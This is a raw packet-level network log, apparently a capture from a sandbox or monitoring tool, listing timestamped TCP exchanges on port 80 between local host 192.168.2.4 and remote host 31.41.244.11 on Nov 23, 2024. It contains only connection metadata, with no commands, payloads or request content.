Nov 23, 2024 11:22:11.297333956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.297380924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.298674107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.298729897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.298743010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.298789024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.300081015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.300143003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.300210953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.300271034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.301582098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.301637888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.301659107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.301707029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.303128004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.303177118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.303212881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.303261995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.304543018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.304593086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.304683924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.304734945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.305974007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.306022882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.306070089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.306138039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.307396889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.307461023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.307475090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.307523012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.308840990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.308900118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.308929920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.308985949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.310296059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.310362101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.310389042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.310434103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.311752081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.311808109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.311835051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.311880112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.313216925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.313282013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.313332081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.313374996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.314670086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.314722061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.314768076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.314814091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.316134930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.316188097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.316261053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.316307068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.317576885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.317682981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.317693949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.317732096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.319010019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.319058895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.319103956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.319149971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.320486069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.320533037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.320635080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.320684910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.322002888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.322057962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.322132111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.322201967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.323394060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.323447943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.323499918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.323546886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.324840069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.324893951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.324935913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.324979067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.326390028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.326431990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.326436996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.326491117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.327728033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.327778101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.327826023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.327871084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.329195023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.329241991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.329323053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.329371929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.330751896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.330797911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.330801010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.330849886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.332072020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.332127094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.332174063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.332230091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.362921000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.363024950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.363199949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.363250971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.363301039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.363352060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.364466906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.364514112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.364578962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.364619970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.366100073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.366153002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.366194010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.366240978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.367486954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.367537022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.367608070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.367654085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.368869066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.368880987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.368911028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.368943930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.370282888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.370330095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.370362043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.370408058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.467222929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.467348099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.467434883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.467494965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.467844963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.467864990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.467895985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.467930079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.469017982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.469065905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.469093084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.469141006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.470006943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.470063925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.470105886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.470151901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.471066952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.471113920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.471178055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.471219063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.472214937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.472282887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.472287893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.472332001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.473319054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.473345995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.473370075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.473392963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.474330902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.474344015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.474383116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.475306034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.475348949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.475403070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.475454092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.476377010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.476427078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.476504087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.476551056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.477416992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.477463961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.477557898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.477602959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.478472948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.478528023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.478534937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.478584051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.479525089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.479579926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.479603052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.479646921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.480520010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.480570078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.480622053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.480670929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.481585026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.481637001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.481688976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.481734991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.482608080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.482659101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.482676029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.482708931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.483645916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.483695030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.483833075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.483879089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.484760046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.484810114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.485054016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.485112906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.485728979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.485775948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.485831022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.485876083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.486810923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.486829996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.486865044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.486907005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.487832069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.487884045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.487976074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.488023043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.489150047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.489197969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.489219904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.489264965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.490173101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.490222931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.490231037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.490276098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.491209984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.491265059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.491298914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.491355896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.492093086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.492151022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.492151976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.492191076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.493048906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.493094921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.493146896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.493194103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.494086981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.494134903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.494151115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.494193077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.495126963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.495181084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.495234966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.495280027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.496162891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.496208906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.496337891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.496383905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.497240067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.497288942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.497417927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.497467995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.498270988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.498315096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.498480082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.498527050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.499301910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.499352932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.499461889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.499505997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.500328064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.500380993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.500468969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.500514030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.501367092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.501411915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.501478910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.501528978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.502525091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.502573013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.502692938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.502754927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.503562927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.503612041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.503794909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.503840923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.504908085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.504954100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.504986048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.505029917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.505642891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.505688906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.505722046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.505773067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.506637096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.506680965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.506747007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.506789923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.507612944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.507658005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.507742882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.507788897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.508663893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.508717060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.508797884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.508841991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.509706974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.509752035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.509813070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.509857893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.510756016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.510799885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.510867119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.510909081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.511790037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.511847973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.511914968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.511955976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.512844086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.512916088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.512968063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.513011932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.513875008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.513920069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.514002085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.514043093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.514908075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.514952898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.515005112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.515045881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.515969038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.516006947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.516056061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.516098976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.517019033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.517064095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.517113924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.517158031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.518064976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.518110991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.518232107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.518275976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.519085884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.519129038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.519258022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.519301891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.520155907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.520200968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.520255089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.520298004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.521153927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.521205902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.521277905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.521320105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.522172928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.522217035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.668618917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.668632984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.668690920 CET	49765	80	192.168.2.4	31.41.244.11
